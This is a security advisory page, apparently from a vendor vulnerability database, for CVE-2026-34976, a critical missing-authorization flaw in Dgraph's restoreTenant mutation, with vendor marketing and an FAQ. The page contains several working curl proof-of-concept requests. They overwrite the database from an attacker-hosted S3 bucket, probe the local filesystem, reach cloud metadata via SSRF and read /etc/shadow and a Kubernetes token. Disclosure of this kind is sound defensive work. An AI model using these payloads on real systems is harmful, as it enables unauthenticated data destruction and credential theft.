10.0
Critical
View in Kodem
github.com/dgraph-io/dgraph/v25

CVE-2026-34976

CVE-2026-34976 is a critical-severity missing authorization vulnerability in github.com/dgraph-io/dgraph/v25 (go), affecting versions <= 25.3.0. It is fixed in 25.3.1.

Key facts
CVSS score
10.0
Critical
Attack vector
Network
Issuing authority
GitHub Advisory Database
Affected package
github.com/dgraph-io/dgraph/v25
Fixed in
25.3.1
Disclosed
2026

Summary

The restoreTenant admin mutation is missing from the authorization middleware config (admin.go:499-522), making it completely unauthenticated. Unlike the similar restore mutation which requires Guardian-of-Galaxy authentication, restoreTenant executes with zero middleware. This mutation accepts attacker-controlled backup source URLs (including file:// for local filesystem access), S3/MinIO credentials, encryption key file paths, and Vault credential file paths. An unauthenticated attacker can overwrite the entire database, read server-side files, and perform SSRF. Authentication Bypass Every admin mutation has middleware configured in adminMutationMWConfig (admin.go:499-522) EXCEPT restoreTenant. The restore mutation has gogMutMWs (Guardian of Galaxy auth + IP whitelist + logging). restoreTenant is absent from the map. When middleware is looked up at resolve/resolver.go:431, the map returns nil. The Then() method at resolve/middlewares.go:98 checks len(mws) == 0 and returns the resolver directly, skipping all authentication, authorization, IP whitelisting, and audit logging. PoC 1: Pre-Auth Database Overwrite The attacker hosts a crafted Dgraph backup on their own S3 bucket, then triggers a restore that overwrites the target namespace's entire database: # No authentication headers needed. No X-Dgraph-AuthToken, no JWT, no Guardian credentials. curl -X POST http://dgraph-alpha:8080/admin \ -H "Content-Type: application/json" \ -d '{ "query": "mutation { restoreTenant(input: { restoreInput: { location: \"s3://attacker-bucket/evil-backup\", accessKey: \"AKIAIOSFODNN7EXAMPLE\", secretKey: \"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\", anonymous: false }, fromNamespace: 0 }) { code message } }" }' # Response: {"data":{"restoreTenant":{"code":"Success","message":"Restore operation started."}}} # The server fetches the attacker's backup from S3 and overwrites namespace 0 (root namespace). The resolver at admin/restore.go:54-74 passes location, accessKey, secretKey directly to worker.ProcessRestoreRequest. The worker at onlinerestore.go:98-106 connects to the attacker's S3 bucket and restores the malicious backup, overwriting all data. Note: the anonymous: true flag (minioclient.go:108-113) creates an S3 client with NO credentials, allowing the attacker to host the malicious backup on a public S3 bucket without providing any AWS keys: mutation { restoreTenant(input: { restoreInput: { location: "s3://public-attacker-bucket/evil-backup", anonymous: true }, fromNamespace: 0 }) { code message } } Live PoC Results (Dgraph v24.x Docker) Tested against dgraph/dgraph:latest in Docker. Side-by-side comparison: # restore (HAS middleware) -> BLOCKED $ curl ... '{"query": "mutation { restore(...) { code } }"}' {"errors":[{"message":"resolving restore failed because unauthorized ip address: 172.25.0.1"}]} # restoreTenant (MISSING middleware) -> AUTH BYPASSED $ curl ... '{"query": "mutation { restoreTenant(...) { code } }"}' {"errors":[{"message":"resolving restoreTenant failed because failed to verify backup: No backups with the specified backup ID"}]} The restore mutation is blocked by the IP whitelist middleware. The restoreTenant mutation bypasses all middleware and reaches the backup verification logic. Filesystem enumeration also confirmed with distinct error messages: /etc/ (exists): "No backups with the specified backup ID" (directory scanned) /nonexistent/ (doesn't exist): "The uri path doesn't exists" (path doesn't exist) /tmp/ (exists, empty): "No backups with the specified backup ID" (directory scanned) PoC 2: Local Filesystem Probe via file:// Scheme curl -X POST http://dgraph-alpha:8080/admin \ -H "Content-Type: application/json" \ -d '{ "query": "mutation { restoreTenant(input: { restoreInput: { location: \"file:///etc/\" }, fromNamespace: 0 }) { code message } }" }' # Error response reveals whether /etc/ exists and its structure. # backuphandler.go:130-132 creates a fileHandler for file:// URIs. # fileHandler.ListPaths at line 161-166 walks the local filesystem. # fileHandler.Read at line 153 reads files: os.ReadFile(h.JoinPath(path)) PoC 3: SSRF via S3 Endpoint curl -X POST http://dgraph-alpha:8080/admin \ -H "Content-Type: application/json" \ -d '{ "query": "mutation { restoreTenant(input: { restoreInput: { location: \"s3://169.254.169.254/latest/meta-data/\" }, fromNamespace: 0 }) { code message } }" }' # The Minio client at backuphandler.go:257 connects to 169.254.169.254 as an S3 endpoint. # Error response may leak cloud metadata information. PoC 4: Vault SSRF + Server File Path Read curl -X POST http://dgraph-alpha:8080/admin \ -H "Content-Type: application/json" \ -d '{ "query": "mutation { restoreTenant(input: { restoreInput: { location: \"s3://attacker-bucket/backup\", accessKey: \"AKIA...\", secretKey: \"...\", vaultAddr: \"http://internal-service:8080\", vaultRoleIDFile: \"/var/run/secrets/kubernetes.io/serviceaccount/token\", vaultSecretIDFile: \"/etc/passwd\", encryptionKeyFile: \"/etc/shadow\" }, fromNamespace: 0 }) { code message } }" }' # vaultAddr at onlinerestore.go:484 triggers SSRF to internal-service:8080 # vaultRoleIDFile at onlinerestore.go:478-479 reads the K8s SA token from disk # encryptionKeyFile at onlinerestore.go:475 reads /etc/shadow via BuildEncFlag Fix Add restoreTenant to adminMutationMWConfig: "restoreTenant": gogMutMWs, Koda Reef

Impact

What is missing authorization?

The application does not perform an authorization check before performing a sensitive operation. Typical impact: unauthorized access to restricted functionality or data.

Severity and exposure

CVE-2026-34976 has a CVSS score of 10.0 (Critical). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment.

A fixed version is available (25.3.1). Upgrading removes the vulnerable code path.

Affected versions

go

  • github.com/dgraph-io/dgraph/v25 (<= 25.3.0)
  • github.com/dgraph-io/dgraph/v24 (<= 24.0.5)
  • github.com/dgraph-io/dgraph (<= 1.2.8)

Security releases

  • github.com/dgraph-io/dgraph/v25 → 25.3.1 (go)
Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter instead of chasing every advisory.

Kodem's runtime-powered SCA identifies whether CVE-2026-34976 is reachable in your applications. Explore open-source security for your team.

See if CVE-2026-34976 is reachable in your applications. Get a demo

Already deployed Kodem? See CVE-2026-34976 in your environment

Remediation advice

Upgrade github.com/dgraph-io/dgraph/v25 to 25.3.1 or later to resolve this vulnerability.

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently asked questions about CVE-2026-34976

What is CVE-2026-34976?

CVE-2026-34976 is a critical-severity missing authorization vulnerability in github.com/dgraph-io/dgraph/v25 (go), affecting versions <= 25.3.0. It is fixed in 25.3.1. The application does not perform an authorization check before performing a sensitive operation.

How severe is CVE-2026-34976?

CVE-2026-34976 has a CVSS score of 10.0 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.

Which packages are affected by CVE-2026-34976?
  • github.com/dgraph-io/dgraph/v25 (go) (versions <= 25.3.0)
  • github.com/dgraph-io/dgraph/v24 (go) (versions <= 24.0.5)
  • github.com/dgraph-io/dgraph (go) (versions <= 1.2.8)
Is there a fix for CVE-2026-34976?

Yes. CVE-2026-34976 is fixed in 25.3.1. Upgrade to this version or later.

Is CVE-2026-34976 exploitable, and should I be worried?

Whether CVE-2026-34976 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo

What actually determines whether CVE-2026-34976 is exploitable, and how bad it is?

Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.

How do I fix CVE-2026-34976?

Upgrade github.com/dgraph-io/dgraph/v25 to 25.3.1 or later.

Stop the waste.
Protect your environment with Kodem.